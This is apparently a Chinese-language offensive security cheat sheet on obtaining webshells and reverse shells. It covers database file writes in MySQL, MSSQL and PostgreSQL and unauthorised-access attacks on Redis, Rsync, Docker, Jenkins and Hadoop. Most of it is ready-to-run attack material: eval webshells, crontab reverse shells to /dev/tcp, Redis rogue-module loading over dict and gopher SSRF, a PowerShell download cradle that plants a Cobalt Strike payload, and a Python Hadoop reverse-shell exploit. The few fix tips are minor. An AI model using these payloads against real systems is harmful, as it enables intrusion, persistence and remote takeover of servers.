Getshell权限获取
搭建用于下载木马的服务器
Nginx
curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
curl -o /etc/yum.repos.d/epel.repo http://mirrors.cloud.tencent.com/repo/epel-7.repo
yum clean all;yum makecache
yum -y install nginx
#默认目录在 /usr/share/nginx/html
systemctl start nginx
Python
目标出网Getshell
目标不出网Getshell
提示
如果是jar包部署的不出网就只能打内存马了
查找网站目录
黑盒方式
1、Web页面报错信息
2、字典爆破
3、旁站的目录
可执行系统命令的方式(查找文件)
MySQL数据库写shell
利用条件
过滤了单引号into outfile还能用吗?不能,GPC要off才行。
1、数据库当前为root用户-dba权限
2、知道网站目录绝对路径
3、PHP的GPC为off状态(魔术引号 POST、GET、Cookie)
4、写入路径拥有写权限
代替空格的方法
+号,%0a、%0b、%a0 、 /**/ 注释符等
outfile和dumpfile的区别?
因此,我们可以使用dumpfile这个函数来顺利写入二进制文件;
当然outfile函数也可以写入二进制文件,只是无法生效(追加的反斜杠会使二进制文件无法生效)
如果服务器端本身的查询语句,结果有多行,但是我们又想使用dump file,应该手动添加 limit 限制
基于UNION联合查询
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\www\info.php'%23
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\www\info.php'%23
非联合查询
当我们无法使用联合查询时,我们可以使用 fields terminated by与 lines terminated by来写shell
字段终止于
?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
基于日志写Shell
突破secure-file-priv写shell
secure-file-priv参数是用来限制导入|导出目录的;
当secure_file_priv没有具体值时,表示不对MySQL的导入|导出做限制,null表示不允许导入导出。
而且在mysql 5.6.34版本以后 secure_file_priv 的值默认为NULL。并且无法用SQL语句对其进行修改。
outfile被禁止,或者写入文件被拦截,没写权限 ,有root权限的情况下可以用日志写shell。
--查看配置,日志是否开启,和mysql默认log地址(记下原地址方便恢复)
show variables like '%general%';
--开启日志监测,默认关闭(如果一直开文件会很大的)
set global general_log = on;
--设置日志路径
set global general_log_file = '/var/www/html/info.php';
--执行查询,写入shell
select '<?php phpinfo();?>';
select "<?php $sl = create_function('', @$_REQUEST['admin']);$sl();?>"; --免杀shell
--结束后,恢复日志路径,关闭日志监测
慢查询写shell
开启日志监测后文件会很大,网站访问量大的话我们写的shell会出错,这时候可以用慢查询。
--查看慢查询信息
show variables like '%slow_query_log%';
--启用慢查询日志(默认禁用)
set global slow_query_log=1;
--修改日志文件路径
set global slow_query_log_file='C:\\phpStudy\\WWW\\shell.php';
--写入Shell
select '<?php phpinfo();?>' or sleep(11);
慢查询补充
只有当查询语句执行时间超过系统默认的10秒,该语句才会被记入进慢查询日志
show global variables like '%long_query_time%';
--查看服务器默认时间值
MSSQL数据库写shell
MSSQL就是微软的SQL Server数据库。
利用条件
- 有dba权限
- 知道web目录的绝对路径
用存储过程搜索绝对路径
EXEC xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
EXEC master..xp_dirtree 'c:',1 --只列c:\目录
EXEC master.dbo.xp_dirtree 'c:',1,1 --列c:\目录、文件
写webshell
-- 首先判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');
-- 利用存储过程写入一句话,注意路径
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\www\test.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>'
xp_cmdshell拿Shell
这种方法就是cmd来执行系统命令,需要注意转义字符,具体步骤看数据库提权章节中的代码。
无回显查看命令执行结果
CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec master..xp_cmdshell 'ipconfig'
select * from tmpTable
差异备份拿shell
--完整备份一次,保存位置可更改
backup database 库名 to disk = 'C:\Users\Public\Music\bak.bak';
--创建表并插入一句话(密码a)
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
--进行差异备份
backup database 库名 to disk='C:\www\shell.asp' WITH DIFFERENTIAL,FORMAT;
当过滤了特殊的字符比如单引号,或者路径符号可以使用定义局部变量来执行
Log备份拿shell
利用条件
LOG 备份需要先把指定的数据库激活为还原模式;
所以需要执行alter database XXX set RECOVERY FUL
目标机器的数据库备份过,而且选择恢复模式得是完整模式
但是使用 log 备份文件会小的多,当然如果你的权限够高可以设置他的恢复模式。
alter database 库名 set RECOVERY FULL
create table cmd (a image)
backup log 库名 to disk = 'C:\Users\Public\Music' with init
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log 库名 to disk = 'C:\www\shell.asp'
相对于差异备份,log 备份出来的 webshell 文件体积非常的小。
PostgreSQL执行命令
用户权限说明
login: 可登录
superuser:数据库超级用户
createdb:创建数据库权限
createrole:创建和删除其他普通用户的权限
replication:流复制时用到的一个用户属性,需要单独设定
password:登录时需要指定密码
inherit:用户组对组员的一个集成标识,成员可以集成用户组的特性权限
#连接数据库
psql -U dbuser -d exampledb -h ip -p 5432
#查看当前系统版本
select version();
#列出系统目录
select pg_ls_dir('/etc');
#读取系统文件100行
select pg_read_file('postgresql.auto.conf',0,100);
#写入文件:(两种方式)
create table shell(shell text not null);
insert into shell values($$<?php @eval($_POST[sec]);?>$$);
copy shell(shell) to '/var/www/html/shell.php';
copy (select 'cmd') to '/var/www/html/shell.php';
Postgresql 8.2执行命令
Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令
create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');
需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。
高版本的系统存在安全机制无法调用系统libc.sso.6,需要手动利用UDF进行命令执行。
先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。
CVE-2019-9193
PostpreSQL 9.3-11.2 允许经过身份验证的superuser或者拥有pg_read_server_files权限的用户执行任意命令
drop table if exists cmd_exec;
create table cmd_exec(cmd_output text);
copy cmd_exec from program 'id';
select * from cmd_exec;
drop table if exists cmd_exec;
注意
命令中的单引号需要用双引号进行转义
echo 'test' >> 'echo "test";'
Redis未授权访问
利用条件
影响版本:Redis 2.x,3.x,4.x,5.x
redis
服务以root账户运行redis
无密码或弱密码进行认证redis
监听在0.0.0.0上
修复方案
1、Redis使用强口令登录
2、禁止使用root权限启动redis服务
获取Info
./redis-cli -h 192.168.1.111
192.168.1.111:6739> info
keys * #查看所有key
get key_name #查看key的值,例如get password
flushall #删除所有数据
del key #删除键为key的数据
SSH公钥登录
原理
原理就是在数据库中插入一条数据,将本机的公钥作为value,(key值随意)
然后通过修改数据库的默认路径为/root/.ssh
和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh
下生一个授权的key
1)首先在自己的电脑上生成公钥
ssh-keygen -t rsa
将公钥导入key.txt
文件(前后用\n\n换行,避免和Redis
里其他缓存数据混合)
再把key.txt
文件内容写入目标主机的缓冲里。
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | ./redis-cli -h 192.168.10.153 -x set test
2)连接目标主机的Redis
设置redis
的备份路径为/root/.ssh和保存文件名authorized_keys
./redis-cli -h 192.168.1.111
config set dir /root/.ssh
config set dbfilename authorized_keys
keys *
get test #查看数据是否存在
save #将(缓存里的数据key.txt)保存在服务器硬盘上
#SSH 连接目标主机,无需密码即可登录
ssh 192.168.1.111
计划任务反弹shell
通过crontab定时任务反弹shell,原理和写公钥一样
#首先在客户端(攻击者)这边监听一个端口,端口不要冲突
nc -lv 6666
#连接redis,写入反弹shell
./redis-cli -h 192.168.1.111
set test2 "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/客户端IP/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
DICT协议反弹shell
#查看当前redis的相关配置
ssrf.php?url=dict://192.168.172.131:6379/info
#设置备份文件名
ssrf.php?url=dict://192.168.172.131:6379/config:set:dbfilename:exp.so
#连接恶意Redis服务器
ssrf.php?url=dict://192.168.172.131:6379/slaveof:192.168.172.129:1234
#加载恶意模块
ssrf.php?url=dict://192.168.172.131:6379/module:load:./exp.so
#切断主从复制
ssrf.php?url=dict://192.168.172.131:6379/slaveof:no:one
#执行系统命令
ssrf.php?url=dict://192.168.172.131:6379/system.rev:192.168.172.129:9999
GOPHER协议反弹shell
#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit
#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit
网站目录写Webshell
./redis-cli -h 192.168.1.111
config set dir /var/www/html
set shell "\n\n\n<?php @eval($_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save
Slave主从模式利用
如果当把数据存储在单个Redis
的实例中,当读写体量比较大的时候,服务端就很难承受。
为了应对这种情况,Redis
就提供了主从模式,主从模式就是指使用一个redis
实例作为主机,其他实例都作为备份机。其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
Redis模块
和mysql
类似,redis
也支持扩展命令,我们需要编写so文件,来扩展命令。
1、我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
2、我们设置备份文件名为恶意的.so文件
3、设置传输方式为全量传输
4、加载so文件,实现任意命令执行
./redis-cli -h 192.168.1.111
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
现成的工具,exp利用脚本:redis-rce
Windows启动项上线
windows平台上的利用除了网站目录写webshell就是启动项上线了,其它办法不能利用。
#网站绝对路径写Webshell
config set dir D:/phpstudy_pro/WWW
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save
启动项上线CS木马
使用Attacks – Web Drive-By – Script Web Delivery,生成ps上线命令
#由于Start Menu之间有空格,因此需要用双引号将路径包含
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
set x “rnrnpowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.105:80/a’))”rnrn”
#这是CS用团队服务器生成的马
save
Rsync 未授权访问漏洞
Rsync(remote synchronize)是一个远程数据同步工具。
可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。
Rsync 默认允许匿名访问,默认端口837。
1、漏洞利用
#列举整个同步目录或指定目录:
rsync rsync://172.16.2.250:873/src
#下载文件或目录到本地:
rsync rsync://172.16.2.250:873/src/etc/passwd ./
#上传本地文件到服务端:
rsync -av nc rsync://172.16.2.250:873/src/etc/cron.hourly
#上传的文件可以直接是webshell或crontab反弹shell
2、修复建议
- 添加认证
- 限制IP访问
Docker未授权访问
docker remote api 可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker
1、验证
docker -H tcp://10.1.1.211:2375 version
#列出容器信息
curl http://<target>:2375/containers/json
2、漏洞利用,反弹宿主机shell
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/1234 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地监听端口,获取宿主机shell
nc -lvp 1234
3、修复建议
- 对2375端口做访问控制
Jenkins未授权访问
1、访问http://www.xxx.com:8080/manage
2、点击脚本命令行
println "whoami".execute().text
3、漏洞利用,写入webshell
new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>');
4、修复建议
- 升级版本
- 添加认证、设置强密码复杂度及账号锁定
- 避免把Jenkins直接暴露在公网
Hadoop 未授权访问
Hadoop是一个由Apache基金会所开发的分布式系统基础架构.
由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口.
黑客可以通过命令行操作多个目录下的数据,如删除,下载,浏览、命令执行等操作,危害极大.
1、验证
访问 http://192.168.18.129:8088/cluster
2、通过REST API命令执行
在本地监听端口 >> 创建Application >> 调用Submit Application API提交
#本地监听9999端口
nc -lvp 9999
3、EXP漏洞利用
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)